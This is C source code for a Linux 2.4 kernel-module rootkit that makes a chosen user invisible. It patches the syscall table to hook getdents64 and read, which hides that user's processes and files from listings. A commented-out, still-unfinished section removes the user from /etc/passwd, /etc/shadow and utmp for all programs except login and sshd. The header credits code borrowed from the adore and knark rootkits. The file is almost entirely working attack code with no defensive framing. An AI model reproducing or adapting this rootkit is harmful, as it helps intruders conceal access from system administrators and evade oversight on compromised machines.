/* hide me! 
 * --------------------------------------------------------
 * the goal of this module is to make chosen user invisible 
 *
 * 	- hide users processes 		.............. done
 *	- hide files which belong user  .............. done
 * 	- hide user from w or who	.............. done
 * 
 * 	- dont log anything about this 
 * 	  user 				.... thinking about
 *
 * 	- hide entry from /etc/passwd and 
 * 	  /etc/shadow for all processes except 
 * 	  login and sshd 		......... debuging
 *
 * 	- hide network connections	..................
 *
 * useful functions "my_anything" is not really mine,
 * they was shameless stolen from various rootkits like 
 * adore or knark (just slightly modified).. find_task too 
 * but who cares..
 * 
 * 
 * writed for Linux - kernel 2.4.20 (Slackware 9.0) 
 *
 * 
 *	   	  		   	 -( trace@dump.cz )-
 */

#define MODULE
#define __KERNEL__

#include <linux/types.h>
#include <linux/module.h>
#include <linux/kernel.h>

#include <linux/proc_fs.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <linux/sched.h>
#include <linux/file.h>

#include <linux/errno.h>

#define PATCH(syscall)	\
	o_##syscall = sys_call_table[__NR_##syscall]; \
	sys_call_table[__NR_##syscall] = new_##syscall

#define RESTORE(syscall) (sys_call_table[__NR_##syscall] = o_##syscall)
	
#define INVISIBLE_UID		1000
#define INVISIBLE_USER		"trace"
	
extern void *sys_call_table[];

int hidden = 0;
int errno;

struct linux_dirent64 {
	u64		d_ino;
	s64		d_off;
	unsigned short 	d_reclen;
	unsigned char	d_type;
	char		d_name[0];
};

long (*o_getdents64)(unsigned int, void *, unsigned int);
ssize_t (*o_read)(unsigned int, char *, size_t);
ssize_t (*o_write)(unsigned int, char *, size_t);

void my_strcpy(char *src, char *dst, unsigned int num)
{
        while (num--)
                *(dst++) = *(src++);
}

int my_atoi(char *str)
{
        int res = 0;
        int mul = 1;
        char *ptr;

        for(ptr = str + strlen(str) - 1; ptr >= str; ptr--) {
                if(*ptr < '0' || *ptr > '9')
                        return(-1);
                res += (*ptr - '0') * mul;
                mul *= 10;
        }
        return(res);
}

struct task_struct *find_task(long pid)
{
        struct task_struct *task = current;
        do {
                if (task->pid == pid)
                        return task;
                task = task->next_task;
        } while (task != current);

        return NULL;
}

/* returns uid of file "dir/filename" */
uid_t get_file_uid(char *dir, char *filename) {
	char path[256] = {0};
	struct file *f;
	int uid = -1;
	
	snprintf(path, sizeof(path), "%s/%s", dir, filename);
	f = filp_open(path, 0, O_RDONLY);
	if (IS_ERR(f))
		return -1;
	uid = f->f_dentry->d_inode->i_uid;
	filp_close(f, NULL);
	return uid;
}

int is_hidden(char *dir, char *name, short proc) 
{	
	/* invisible user can see all his files and processes */	
	if (current->uid == INVISIBLE_UID)
		return 0;
	
	if (proc) {
		struct task_struct *task = NULL;
		task = find_task(my_atoi(name));
		if (task != NULL)
			return (task->uid == INVISIBLE_UID);
	} else {
		return (get_file_uid(dir, name) == INVISIBLE_UID);
	}
	return 0;	
}

char *get_file_path(struct dentry *dentry) {
	char *result;
	char pathname[1024] = {0};
	char tmp[1024] = {0};

	while (dentry!=NULL && !IS_ROOT(dentry)) {
		memset(tmp, 0, sizeof(tmp));
		sprintf(tmp, "/%s%s", dentry->d_name.name, pathname); 
		my_strcpy(tmp, pathname, sizeof(pathname));
		dentry = dentry->d_parent;
	}

	if ((result = (char *) kmalloc(strlen(pathname)+1, GFP_KERNEL)) == NULL)
		return NULL;
	
	sprintf(result, "%s", pathname);
	return result;
}


long new_getdents64(unsigned int fd, void *dirent, unsigned int count) 
{
	int res;
	int proc = 0;
	struct linux_dirent64 *dirp, *prev = NULL;
	struct inode *dinode = NULL;
	char *ptr;
	char path[256] = {0};

	res = (*o_getdents64)(fd, dirent, count);
	if (!res) return res; 
	
	dirp = (struct linux_dirent64 *) dirent;
	ptr = (char *)dirp;

	if (current->files != NULL && current->files->fd[fd] != NULL) {
		snprintf(path, sizeof(path), "%s", get_file_path(current->files->fd[fd]->f_dentry));
		dinode = current->files->fd[fd]->f_dentry->d_inode;
	}

	if (dinode != NULL && dinode->i_ino == PROC_ROOT_INO) 
		proc = 1;
	
	while (ptr < (char *)dirent + res) {
		dirp = (struct linux_dirent64 *) ptr;

	/* DEBUG: when i hide fist process, last process is hidden too
	 * usualy ps... I have to find out first printed process and
	 * do something like 
	 * if (dirp == dirent || !strcmp(dirp->d_name, first_proc) {
	 */
		if (is_hidden(path, dirp->d_name, proc)) {
                        if (dirp == dirent) {
                                res -= dirp->d_reclen;
                                my_strcpy(ptr + dirp->d_reclen, ptr, res);
                                continue;
                        } else
                                prev->d_reclen += dirp->d_reclen;
                }
                else
                        prev = dirp;

		ptr += dirp->d_reclen;
	}
	return res;
}

int remove_line(char *buffer, char *str)
{
	char *ptr = strstr(buffer, str);
	char *prev_line = ptr, *next_line = ptr;
	int rest_length = 0;
	int line_length = 0;
	
	if (ptr == NULL) return 0;
	
	while (prev_line > buffer && *prev_line != '\n') prev_line--;
	while (*next_line != 0 && *next_line != '\n') next_line++;

	line_length = next_line - prev_line;
	
	if (prev_line == ptr) next_line++;
	
	ptr = next_line;
	while (*(ptr++) != 0)
		rest_length++;

	while (next_line <= ptr)
		*(prev_line++) = *(next_line++);

	return line_length;
}

#define UT_LINESIZE	32
#define UT_NAMESIZE	32
#define UT_HOSTSIZE	256

struct exit_status {
    short int e_termination;	/* Process termination status.  */
    short int e_exit;		/* Process exit status.  */
};


struct utmp {
  short int ut_type;		/* Type of login.  */
  pid_t ut_pid;			/* Process ID of login process.  */
  char ut_line[UT_LINESIZE];	/* Devicename.  */
  char ut_id[4];		/* Inittab ID.  */
  char ut_user[UT_NAMESIZE];	/* Username.  */
  char ut_host[UT_HOSTSIZE];	/* Hostname for remote login.  */
  struct exit_status ut_exit;	/* Exit status of a process marked
				   as DEAD_PROCESS.  */
  long int ut_session;		/* Session ID, used for windowing.  */
  struct timeval ut_tv;		/* Time entry was made.  */
  int32_t ut_addr_v6[4];	/* Internet address of remote host.  */
  char __unused[20];		/* Reserved for future use.  */
};


/* DEBUG!!!*/
asmlinkage ssize_t new_read(unsigned int fd, char *buf, size_t size) 
{
	ssize_t res = o_read(fd, buf, size);
	char filename[256] = {0};
	char buffer[4096] = {0};
	
	struct file *f;

	f = fget(fd);
	if (f) {
		if (f->f_dentry) {
			printk("<7>%s\n", f->f_dentry->d_name.name);
		}
	}
	
	if (current && current->files != NULL && current->files->fd[fd] != NULL)
		printk("<7>[%s]\n", current->files->fd[fd]->f_dentry->d_name.name);

/*	
	if (res <= 0)
		return -res;

	copy_from_user(buffer, buf, sizeof(buffer)-1);

	if (current->files != NULL && current->files->fd[fd] != NULL)
		snprintf(filename, sizeof(filename), "%s", 
			get_file_path(current->files->fd[fd]->f_dentry));

	if ((!strcmp(filename, "/etc/passwd") || !strcmp(filename, "/etc/shadow")) 
	&& (strcmp(current->comm, "login") && strcmp(current->comm, "sshd"))) {
		if (strstr(buffer, INVISIBLE_USER) != NULL)  
			res -= remove_line(buffer, INVISIBLE_USER);	
			copy_to_user(buf, buffer, sizeof(buffer));
	} 
	else if (!strcmp(filename, "/var/run/utmp")) {
		struct utmp *utmp_entry = NULL;
		
		utmp_entry = (struct utmp *) buffer;
		if (utmp_entry!=NULL && !strcmp(utmp_entry->ut_user, INVISIBLE_USER))
			return 0;
	}
*/
	return res;
}


int init_module() 
{
	PATCH(getdents64);
	PATCH(read);
	return 0;
}

void cleanup_module()
{
	RESTORE(getdents64);
	RESTORE(read);
}

